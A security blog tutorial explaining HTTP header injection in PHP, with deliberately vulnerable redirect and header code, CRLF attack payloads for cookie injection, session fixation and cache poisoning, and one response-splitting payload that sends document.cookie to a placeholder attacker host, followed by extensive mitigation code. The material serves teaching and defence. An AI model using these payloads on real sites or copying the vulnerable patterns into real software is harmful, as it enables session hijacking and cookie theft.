Thilan Dissanayaka Application Security May 27

HTTP Header Injection Explained

HTTP Header Injection is a critical web security vulnerability that occurs when an application allows user-controlled input to be inserted into HTTP response headers without proper validation or sanitization. This vulnerability can lead to various attacks including HTTP Response Splitting, Cross-Site Scripting (XSS), cache poisoning, and session hijacking.

In PHP applications, header injection typically occurs when user input is passed directly to functions like header(), setcookie(), or setrawcookie() without proper validation.

Understanding HTTP Headers

HTTP headers are key-value pairs sent between client and server to provide metadata about the request or response. They follow a specific format:

Header-Name: Header-Value

Headers are separated by CRLF (Carriage Return + Line Feed: \r\n) characters, and the header section ends with a double CRLF (\r\n\r\n).

How Header Injection Works

Header injection exploits occur when an attacker can inject CRLF characters (\r\n) into header values, allowing them to:

  • Terminate the current header early
  • Inject additional headers
  • Potentially inject content into the response body

When user input containing CRLF characters is passed to header functions, it can break the header structure:

Normal header: Location: /dashboard

Injected input: /dashboard\r\nSet-Cookie: admin=true

Result: Location: /dashboard
        Set-Cookie: admin=true

Basic Redirect Vulnerability

<?php
// Vulnerable redirect functionality
if (isset($_GET['redirect'])) {
    $redirect_url = $_GET['redirect'];
    header("Location: " . $redirect_url);
    exit();
}
?>
http://example.com/redirect.php?redirect=http://evil.com%0d%0aSet-Cookie:%20admin=true

This would result in:

Location: http://evil.com
Set-Cookie: admin=true

Custom Header Injection

<?php
// Vulnerable custom header setting
if (isset($_POST['username'])) {
    $username = $_POST['username'];
    header("X-User: " . $username);
    echo "Welcome, " . htmlspecialchars($username);
}
?>
username=admin%0d%0aSet-Cookie:%20session=hijacked%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<script>alert('XSS')</script>

Log File Injection

<?php
// Vulnerable logging functionality
function logUserAction($action, $user_agent) {
    $log_entry = date('Y-m-d H:i:s') . " - Action: $action - User-Agent: $user_agent\n";
    file_put_contents('/var/log/app.log', $log_entry, FILE_APPEND);

    // Also set a tracking header
    header("X-Action-Logged: " . $action);
}

if (isset($_POST['action'])) {
    logUserAction($_POST['action'], $_SERVER['HTTP_USER_AGENT']);
}
?>

Attack Scenarios and Impact

1. HTTP Response Splitting

Attackers can split the HTTP response and inject malicious content:

// Vulnerable code
header("Location: " . $_GET['url']);

// Attack URL:
// ?url=http://example.com%0d%0a%0d%0a<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>

2. Cache Poisoning

Injecting cache-control headers to poison web caches:

// Attack payload in redirect parameter:
// ?redirect=/page%0d%0aCache-Control:%20public,%20max-age=31536000%0d%0a%0d%0a<script>/* malicious code */</script>

3. Session Fixation

Setting or overriding session cookies:

// Attack payload:
// ?redirect=/dashboard%0d%0aSet-Cookie:%20PHPSESSID=attacker_controlled_session_id

4. Cross-Site Scripting (XSS)

When headers influence page content or when response splitting allows HTML injection:

// If the application reflects header values in HTML
echo "Redirecting to: " . $_GET['redirect'];
header("Location: " . $_GET['redirect']);

// Attack payload:
// ?redirect=javascript:alert('XSS')%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<script>alert('XSS')</script>

Detection and Testing

Manual Testing

  1. Identify header injection points - Look for parameters that influence HTTP headers
  2. Test with CRLF characters - Try payloads with %0d%0a (URL-encoded CRLF)
  3. Monitor responses - Check if injected headers appear in the response

Common Test Payloads

# Basic CRLF injection
%0d%0aSet-Cookie:%20test=injected

# Response splitting attempt
%0d%0a%0d%0a<script>alert('XSS')</script>

# Cache poisoning test
%0d%0aCache-Control:%20public,%20max-age=31536000

# Multiple header injection
%0d%0aX-Injected:%20true%0d%0aSet-Cookie:%20admin=1

Automated Testing Tools

  • Burp Suite - Web application security scanner
  • OWASP ZAP - Free security testing proxy
  • SQLMap - Can detect some header injection vulnerabilities
  • Custom scripts using curl or similar tools

Prevention and Mitigation

1. Input Validation and Sanitization

<?php
function sanitizeHeaderValue($value) {
    // Remove CRLF characters
    $value = str_replace(["\r", "\n", "\r\n"], '', $value);

    // Additional validation based on expected format
    $value = filter_var($value, FILTER_SANITIZE_STRING, FILTER_FLAG_STRIP_HIGH);

    return $value;
}

// Safe redirect
if (isset($_GET['redirect'])) {
    $redirect_url = sanitizeHeaderValue($_GET['redirect']);

    // Additional URL validation
    if (filter_var($redirect_url, FILTER_VALIDATE_URL)) {
        header("Location: " . $redirect_url);
        exit();
    } else {
        // Handle invalid URL
        header("Location: /error");
        exit();
    }
}
?>

2. Whitelist Validation

<?php
function validateRedirectUrl($url) {
    $allowed_domains = [
        'example.com',
        'subdomain.example.com',
        'trusted-partner.com'
    ];

    $parsed_url = parse_url($url);

    if (!$parsed_url || !isset($parsed_url['host'])) {
        return false;
    }

    return in_array($parsed_url['host'], $allowed_domains);
}

// Safe redirect with whitelist
if (isset($_GET['redirect'])) {
    $redirect_url = $_GET['redirect'];

    if (validateRedirectUrl($redirect_url)) {
        // Still sanitize even with whitelist
        $redirect_url = sanitizeHeaderValue($redirect_url);
        header("Location: " . $redirect_url);
        exit();
    } else {
        // Redirect to safe default
        header("Location: /dashboard");
        exit();
    }
}
?>

3. Using Built-in PHP Functions Safely

<?php
// Safe cookie setting
function setSecureCookie($name, $value, $expire = 0) {
    // Sanitize inputs
    $name = preg_replace('/[^a-zA-Z0-9_-]/', '', $name);
    $value = str_replace(["\r", "\n", "\r\n"], '', $value);

    // Use PHP's built-in function with proper parameters
    setcookie($name, $value, [
        'expires' => $expire,
        'path' => '/',
        'domain' => '',
        'secure' => true, // HTTPS only
        'httponly' => true, // No JavaScript access
        'samesite' => 'Strict' // CSRF protection
    ]);
}

// Safe header setting with validation
function setSafeHeader($name, $value) {
    // Validate header name
    if (!preg_match('/^[a-zA-Z0-9-]+$/', $name)) {
        throw new InvalidArgumentException('Invalid header name');
    }

    // Sanitize header value
    $value = str_replace(["\r", "\n", "\r\n"], '', $value);

    header($name . ': ' . $value);
}
?>

4. Content Security Policy (CSP)

Implement CSP headers to mitigate XSS risks:

<?php
header("Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'");
?>

5. Framework-Specific Solutions

Laravel

// Laravel provides built-in protection
return redirect()->away($url); // Validates URLs
return response()->header('X-Custom', $value); // Sanitizes headers

Symfony

use Symfony\Component\HttpFoundation\Response;

$response = new Response();
$response->headers->set('X-Custom', $value); // Built-in sanitization

Advanced Prevention Techniques

1. Output Encoding

<?php
function encodeForHeader($value) {
    // RFC 5987 encoding for header values with special characters
    return "UTF-8''" . rawurlencode($value);
}

// Example usage
$filename = $_GET['filename'];
$encoded_filename = encodeForHeader($filename);
header("Content-Disposition: attachment; filename*=" . $encoded_filename);
?>

2. Request Validation Middleware

<?php
class HeaderInjectionMiddleware {
    public static function validate($input) {
        if (is_array($input)) {
            array_walk_recursive($input, [self::class, 'sanitizeValue']);
        } else {
            self::sanitizeValue($input);
        }
        return $input;
    }

    private static function sanitizeValue(&$value) {
        if (is_string($value)) {
            // Remove CRLF and other control characters
            $value = preg_replace('/[\r\n\x00-\x1F\x7F]/', '', $value);
        }
    }
}

// Usage
$_GET = HeaderInjectionMiddleware::validate($_GET);
$_POST = HeaderInjectionMiddleware::validate($_POST);
?>

3. Logging and Monitoring

<?php
function logSuspiciousActivity($input, $source) {
    if (preg_match('/[\r\n]/', $input)) {
        $log_entry = [
            'timestamp' => date('c'),
            'type' => 'header_injection_attempt',
            'input' => $input,
            'source' => $source,
            'ip' => $_SERVER['REMOTE_ADDR'],
            'user_agent' => $_SERVER['HTTP_USER_AGENT'] ?? 'unknown'
        ];

        error_log(json_encode($log_entry), 3, '/var/log/security.log');

        // Consider blocking the IP or taking other defensive actions
    }
}

// Usage in application
if (isset($_GET['redirect'])) {
    logSuspiciousActivity($_GET['redirect'], 'redirect_parameter');
    // ... rest of validation logic
}
?>

Testing Your Application

Security Checklist

  1. Audit all header() calls - Review every instance where user input influences headers
  2. Test with CRLF payloads - Use various encoding methods (%0d%0a, %0a, %0d)
  3. Validate redirect URLs - Ensure only trusted domains are allowed
  4. Check cookie handling - Verify secure cookie attributes
  5. Test error responses - Ensure error messages don't leak sensitive information
  6. Monitor logs - Set up alerts for suspicious patterns

Code Review Questions

  • Are all user inputs that influence HTTP headers properly validated?
  • Is there a whitelist for allowed redirect URLs?
  • Are CRLF characters being filtered from header values?
  • Are cookies set with secure attributes (HttpOnly, Secure, SameSite)?
  • Is there proper error handling that doesn't expose system information?

Conclusion

HTTP Header Injection is a serious vulnerability that can lead to various attacks including XSS, cache poisoning, and session hijacking. The key to prevention is proper input validation, sanitization, and the use of secure coding practices.

Always remember:

  • Validate and sanitize all user inputs before using them in headers
  • Use whitelists for redirect URLs and other critical values
  • Implement proper logging to detect attack attempts
  • Keep frameworks updated to benefit from built-in security features
  • Regular security testing should include header injection tests

By following these guidelines and implementing proper security measures, you can effectively protect your PHP applications from HTTP Header Injection attacks.

ALSO READ
 OWASP Top 10 explained - 2021
Mar 03 Application Security

The Open Worldwide Application Security Project (OWASP) is a nonprofit foundation focused on improving the security of software. It provides free, vendor-neutral tools, resources, and standards that....

Common Web Application Technologies
Feb 11 Application Security

# JWT - JSON Web Tokens JWT is short for JSON Web Token. It is a compact and secure way to send information between two parties – like a client (browser) and a server. We usually use JWTs....

Template Pattern explained simply
Apr 26 Software Architecture

Ever found yourself writing similar logic over and over, only to change a few steps each time? That’s exactly what the **Template Pattern** helps you solve. The **Template Pattern** is a....

Database Indexing: Speeding Up Your Queries Like a Pro
Apr 26 Database Systems

In the world of databases, speed matters. Whether you're powering an e-commerce store, a social media app, or a business dashboard — users expect data to load instantly. That’s where database....

REST API - Interview preparation guide
May 08 Interview Guides

## What is a REST API? A REST (Representational State Transfer) API is an architectural style for designing networked applications. It uses standard HTTP methods to interact with resources, making....

GDB reverse engineering tutorial
Mar 23 Low level Development

hiii, I selected an interesting topic to discuss. Here, we are going to disassemble a binary file and take a look at what it does. This process is called reverse engineering. Let's run the program....